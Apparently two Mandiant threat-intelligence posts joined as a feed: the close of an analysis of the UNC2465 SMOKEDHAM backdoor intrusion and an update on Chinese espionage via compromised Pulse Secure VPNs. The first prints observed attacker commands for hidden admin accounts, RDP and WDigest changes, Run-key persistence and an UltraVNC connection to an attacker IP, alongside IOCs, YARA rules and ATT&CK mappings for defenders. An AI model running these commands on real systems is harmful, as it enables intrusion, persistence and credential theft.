The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor. The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor. The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable. In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.

The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper.


Figure 7: SMOKEDHAM dropper

Phase 5: SMOKEDHAM Backdoor

SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.

SMOKEDHAM Network Communications

SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.

The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.

The ID field contains a unique value generated by the backdoor for the target system.

The UUID field may contain a unique value used to track command output or be empty. When the C2 server responds with a command to execute, it sets the UUID field to a unique value. SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.

The Data field may contain RC4-encrypted, Base64-encoded command data or be empty. The backdoor uses the Data field to send command output to its C2 server. The C2 server uses the Data field to send commands to the backdoor to execute. The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field. Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.

SMOKEDHAM Commands

SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field. The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1.

Keyword

Action

delay

Update its sleep interval

screenshot

Upload a screen capture to its C2 server via a subsequent HTTP POST request

exit

Terminate

Table 1: Plaintext command data keywords

If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it. The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.

In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes. The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.

SMOKEDHAM In Action

SMOKEDHAM was observed executing commands on the target system using PowerShell. 

The following commands were used to collect information about the system and logged in users.

net.exe user

net.exe users

whoami.exe

whoami.exe /priv 

systeminfo.exe

The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.

net.exe user DefaultUser REDACTED /ADD 

net.exe localgroup Administrators DefaultUser /ADD 

reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v DefaultUser /t REG_DWORD /d 0 /f

The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f

Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to enable credential caching.

Phase 6: Follow-on Activity

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.


Figure 8: Contents of UltraVNC.ini

SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.

%APPDATA%\Chrome\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run

SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d %appdata%\Chrome\winvnc.exe

NGROK Configuration

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml. These files were stored in the C:\ProgramData\WindNT\ directory. NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.

Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.


Figure 9: Contents of VirtualHost.vbs


Figure 10: Contents of ngrok.yml

The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.

SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d C:\ProgramData\WindNT\VirtualHost.vbs

Keylogger Deployment

This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.

Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility. The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations:

C:\Users\[username]\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\console.lnk

Cobalt Strike Beacon

The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe. Update.exe was a Go based dropper created using the ScareCrow framework. The attacker executed C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe using Command Prompt.

cmd.exe /c 'C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe'&&exit

The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.

Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory. Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.

LSASS Dumping and Lateral Movement

Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.

From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.

Conclusion

UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user. UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours. Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.

Ransomware groups continue to adapt and pursue opportunistic access to victims. UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection. While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus. A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.

Indicators

Supply Chain/Trojanized Nullsoft Installer/SmartPSS

MD5: 1430291f2db13c3d94181ada91681408
Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe
Zip MD5: 54e0a0d398314f330dfab6cd55d95f38

Supply Chain/Trojanized Nullsoft Installer/SVStation

MD5: e9ed774517e129a170cdb856bd13e7e8
Filename: SVStation_Win64-B1130.1.0.0.exe

Intermediate Stage

URL: hxxp://sdoc[.]xyz/ID-508260156241
IP: 185.92.151[.]150

SMOKEDHAM LOADER

MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html)

MD5: 05d38c7e957092f7d0ebfc7bf1eb5365

SMOKEDHAM

MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)
Host: max-ghoster1.azureedge[.]net (actual C2)

MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html)
Host: atlant20.azureedge[.]net (actual C2) 

MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)
Host: skolibri13.azureedge[.]net (actual C2)

NGROK

MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe)

MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs)

UltraVNC

IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4)

BEACON

Host: w2doger[.]xyz
IP: 185.231.68.102
MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide indicators associated with this activity.

Platform

Detection Name

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

  • Backdoor.BEACON
  • FE_Loader_Win32_BLUESPINE_1
  • Trojan.Win32.CobaltStrike
  • Backdoor.MSIL.SMOKEDHAM
  • Malware.Binary.ps1
  • FEC_Backdoor_CS_SMOKEDHAM_1
  • Suspicious Process PowerShell Activity

FireEye Endpoint Security

Real-Time Detection (IOC)

  • WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY)
  • WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY)
  • SUSPICIOUS CONHOST.EXE A (METHODOLOGY) 
  • TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY)

Malware Protection (AV/MG)

  • Trojan.GenericFCA.Script.533 
  • Trojan.GenericFCA.Agent.7732
  • Dropped:Trojan.VBS.VGU
  • Trojan.CobaltStrike.FM
  • NGRok
  • Ultra VNC
  • SVN Station
  • Generic.mg.a9fa3eba3f644ba3
  • Generic.mg.1626373508569884

Modules

  • Process Guard (LSASS memory protection)

FireEye Helix

  • VNC METHODOLOGY [Procs] (T1021.005)
  • WINDOWS ANALYTICS [Abnormal RDP Logon] (T1078)
  • WINDOWS ANALYTICS [Recon Commands] (T1204)
  • WINDOWS METHODOLOGY [Cleartext Credentials Enabled - UseLogonCredential] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Memory Access] (T1003.001)
  • WINDOWS METHODOLOGY [Registry Run Key - reg.exe] (T1547.001)
  • WINDOWS METHODOLOGY [User Created - Net Command] (T1136.001)

Yara Detections

rule Backdoor_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "9de326bf37270776b78e30d442bda48b"
    strings:
        $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = "POST"
        $domainFrontingDomain = /\.[hH]ost\s*=\s*\"[^\"]*";/
        $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("COMPUTERNAME")
        $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.GetEnvironmentVariable("USERDOMAIN")
        $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("USERNAME")
        $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //("delay")
        $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //("screenshot")
        $functionalityString3 = { 28 22 65 78 69 74 22 29 } //("exit")
        $publicStrings1 = "public string UUID"
        $publicStrings2 = "public string ID"
        $publicStrings3 = "public string Data"
        $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.ToString();
   condition:
        filesize < 1MB and all of them

}

 

rule Loader_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "05d38c7e957092f7d0ebfc7bf1eb5365"
    strings:
        $listedDLLs1 = "System.Drawing.dll" fullword
        $listedDLLs2 = "System.Web.Extensions.dll" fullword
        $listedDLLs3 = "System.Windows.Forms.dll" fullword
        $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp
        $StringConversion = "convertto-securestring" nocase
        $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
        $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.Runtime.InteropServices.Marshal]::PtrToStringAuto
    condition:
        filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2
}

MITRE ATT&CK UNC2465

Tactic

Description

Initial Access

   T1189: Drive-by Compromise
   T1195.002: Compromise Software Supply Chain
   T1566: Phishing

Execution

   T1053.005: Scheduled Task
   T1059.001: PowerShell
   T1059.005: Visual Basic

Persistence

   T1098: Account Manipulation
   T1136: Create Account
   T1547.001: Registry Run Keys / Startup Folder
   T1547.004: Winlogon Helper DLL
   T1547.009: Shortcut Modification

Defense Evasion

   T1027: Obfuscated Files or Information
   T1070.006: Timestomp
   T1112: Modify Registry
   T1140: Deobfuscate/Decode Files or Information
   T1218.005: Mshta
   T1553.002: Code Signing
   T1562.004: Disable or Modify System Firewall

Discovery

   T1012: Query Registry
   T1033: System Owner/User Discovery
   T1082: System Information Discovery

Collection

   T1056.001: Keylogging
   T1113: Screen Capture
   T1560: Archive Collected Data

Impact

   T1486: Data Encrypted for Impact
   T1531: Account Access Removal

Command and Control

   T1071.001: Web Protocols
   T1090.004: Domain Fronting
   T1102: Web Service
   T1105: Ingress Tool Transfer
   T1219: Remote Access Software
   T1572: Protocol Tunneling
   T1573.002: Asymmetric Cryptography

Lateral Movement

   T1021.004: SSH
   T1021.005: VNC

Credential Access

   T1003.001: LSASS Memory

Resource Development

   T1588.003: Code Signing Certificates
   T1588.004: Digital Certificates
   T1608.003: Install Digital Certificate

Acknowledgements

Thanks to everyone that contributed analysis and review. Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.

✇ Threat Research

Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices

By: Dan Perez

On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators. This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations.

  • Mandiant continues to gather evidence and respond to intrusions involving compromises of Pulse Secure VPN appliances at organizations across the defense, government, high tech, transportation, and financial sectors in the U.S. and Europe (Figure 1).
  • Reverse engineers on the FLARE team have identified four additional code families specifically designed to manipulate Pulse Secure devices. 
  • We now assess that espionage activity by UNC2630 and UNC2717 supports key Chinese government priorities. Many compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives outlined in China’s recent 14th Five Year Plan.
  • While there is evidence of data theft at many organizations, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
  • Mandiant Threat Intelligence assesses that Chinese cyber espionage activity has demonstrated a higher tolerance for risk and is less constrained by diplomatic pressures than previously characterized.


Figure 1: Organizations with compromised Pulse Secure devices by vertical and geographic location

Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers. (Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.)

UNC2630 and UNC2717 Tradecraft and Response to Disclosure

Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government. Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE.

  • Under certain conditions, the Integrity Checker Tool (ICT) will show no evidence of compromise on appliances which may have had historical compromise. This false negative may be returned because the ICT cannot scan the rollback partition. If a backdoor or persistence patcher exists on the rollback partition and a Pulse Secure appliance is rolled back to the prior version, the backdoor(s) will be present on the appliance. Please see the Forensics, Remediation, and Hardening Guidelines section for important information regarding the ICT and upgrade process.
  • In at least one instance, UNC2630 deleted their webshell(s) but did not remove the persistence patcher, making it possible to regain access when the device was upgraded.  The remaining persistence patcher causes the malicious code to be executed later during a system upgrade, re-inserts webshell logic into various files on the appliance, and recompromises the device.
  • It is unusual for Chinese espionage actors to remove a large number of backdoors across several victim environments on or around the time of public disclosure. This action displays an interesting concern for operational security and a sensitivity to publicity.

Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration. They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.

Updates from Incident Response Investigations

We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools. There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses.

Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1). These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence. Please see the Technical Annex for detailed analysis of these code families.

Malware Family

Description

Actor

BLOODMINE

 

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

UNC2630

BLOODBANK

 

BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt.

UNC2630

CLEANPULSE

 

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. It was found in close proximity to an ATRIUM webshell.

UNC2630

RAPIDPULSE

 

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. RAPIDPULSE can serve as an encrypted file downloader for the attacker.

UNC2630

Table 1: New malware families identified

Initial Compromise

The actors leveraged several vulnerabilities in Pulse Secure VPN appliances. Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020. In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation.

Establish Foothold

In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value. This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment. The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints.

Escalate Privileges

Mandiant observed the actors use three credential harvesting techniques on Windows systems:

  • Targeting of clear text passwords and hashes from memory using the credential harvesting tool Mimikatz. Instead of being copied locally and executed on the target system, Mandiant saw evidence of the Mimikatz binary on the source system of an RDP session (i.e. the threat actor’s system that was connected to the VPN) through an RDP mapped drive.
  • Copying and exfiltration of the SAM, SECURITY, and SYSTEM registry hives which contained cached NTLM hashes for Local and Domain accounts.
  • Leveraging the Windows Task Manager process to target the Local Security Authority Subsystem Service (LSASS) process memory for NTLM hashes.

In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families). It is unclear how the account associations were made by the actor.

Internal Reconnaissance

Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment. This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment.

The actors operated solely by utilizing Windows-based utilities to carry out tasks. Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe.

Move Laterally

Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment.  While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources. The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired.

Mandiant also observed the actors targeting ESXi host servers. The actor enabled SSH on ESXi hosts that were previously disabled via the web interface. When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities. This includes authentication, command history, and message logging on the system.

Maintain Presence

Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance.  Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator.  The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the actor to maintain access to the system across updates.

The actors also achieved persistence in other cases by prepending a bash script to the file /bin/umount normally used to unmount a Linux filesystem. This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade. The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary. The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only.

Complete Mission

The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data. Mandiant has observed the attackers:

  • Staging data related to sensitive projects, often in C:\Users\Public
  • Naming exfiltration archives to resemble Windows Updates (KB) or to match the format KB<digits>.zip
  • Using the JAR/ZIP file format for data exfiltration
  • Deleting exfiltrated archives

Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected. Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page.

Forensics, Remediation, and Hardening Guidelines

To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps:

  1. Capture memory and a forensic image of the appliance
  2. Run the Pulse Integrity Checker Tool found online
  3. Request a decrypted image of each partition and a memory dump

To remediate a compromised Pulse Secure appliance:  

  1. Caution must be taken when determining if a Pulse Secure device was compromised at any previous date. If the Integrity Checker Tool (ICT) was not run before the appliance was updated, the only evidence of compromise will exist in the system rollback partition which cannot be scanned by the ICT. If an upgrade was performed without first using the ICT, a manual inspection of the rollback partition is required to determine if the device was previously compromised.
  2. To ensure that no malicious logic is copied to a clean device, users must perform upgrades from the appliance console rather than the web interface. The console upgrade process follows a separate code path that will not execute files such as DSUpgrade.pm.
  3. Previous versions of the ICT will exit if run on an unsupported software version. For every ICT scan, ensure that the ICT would have supported the device's version number.
  4. Reset all passwords in the environment.
  5. Upgrade to the most recent software version.

To secure the appliance and assist with future investigations, consider implementing the following:

  1. Enable unauthenticated logging and configure syslog for Events, User & Admin Access
  2. Forward all logs to a central log repository
  3. Review logs for unusual authentications and evidence of exploitation
  4. Regularly run the Integrity Checker Tool
  5. Apply patches as soon as they are made available

Geopolitical Context and Implications for U.S.-China Relations

In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs. Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets.

Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan. Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors. Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity.

China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture.

Historical Context

In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China's military and civilian intelligence agencies significantly impacted Chinese cyber operations. Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage. Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity.

In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations. We observed two important changes in the type of information stolen and the geographic distribution of the targets.

  • Despite examining hundreds of incidents from January 2016 through mid 2019, we did not find definitive evidence of purely commercial application intellectual property theft in the US. Recent indictments by the US Department of Justice suggest that this theft did occur. While we observed other malicious activity, including geopolitical targeting, theft of intellectual property with military applications, and theft of confidential business information, we did not find evidence that these cyber operations violated the Obama-Xi agreement.
  • Between January 2016 and mid-2019, the geographic focus of Chinese cyber operations shifted dramatically to Asia and away from the U.S. and Europe. While the U.S. remained the single most frequently targeted country, it became a much smaller percentage of observed activity. From 2012–2015, U.S. targeting constituted nearly 70 percent of all observed Chinese cyber espionage, while from January 2016 through August 2019, U.S. targeting fell to approximately 20 percent of Chinese activity. Targeting of Europe represented a similar proportion of overall Chinese activity to targeting of the Americas.

Changes in Chinese Espionage Activity between 2019 and 2021

Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals. While some of the technical changes may be the result of the restructuring of China's military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall.

  • Before the reorganization, it was common to observe multiple Chinese espionage groups targeting the same organization, often targeting the same types of information. Post-2015, this duplication of efforts is rare.
  • Chinese espionage groups developed more efficient and purposeful targeting patterns by transitioning away from spearphishing and relying on end user software vulnerabilities and instead began exploiting networking devices and web facing applications in novel ways. Chinese APT actors also began to leverage supply chain vulnerabilities and to target third party providers to gain access to primary targets.
  • Recently observed Chinese cyber espionage activity exhibits an increased diligence in operational security, familiarity with network defender investigation techniques, and cognizance of the forensic evidence they leave behind.
  • We observe the resurgence of older Chinese espionage groups, including APT4 and APT5 after long periods of dormancy and currently active groups engage in frequent and widespread campaigns.

Redline Withdrawn?

The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage. It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications.

  • We have direct evidence of UNC2630, UNC2717 and other Chinese APT actors stealing credentials, email communications, and intellectual property with dual commercial and military applications.
  • Throughout our investigations, we did not directly observe the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information.

Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China's use of its cyber threat capabilities, particularly when serving high-priority missions.

The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities.

Acknowledgements

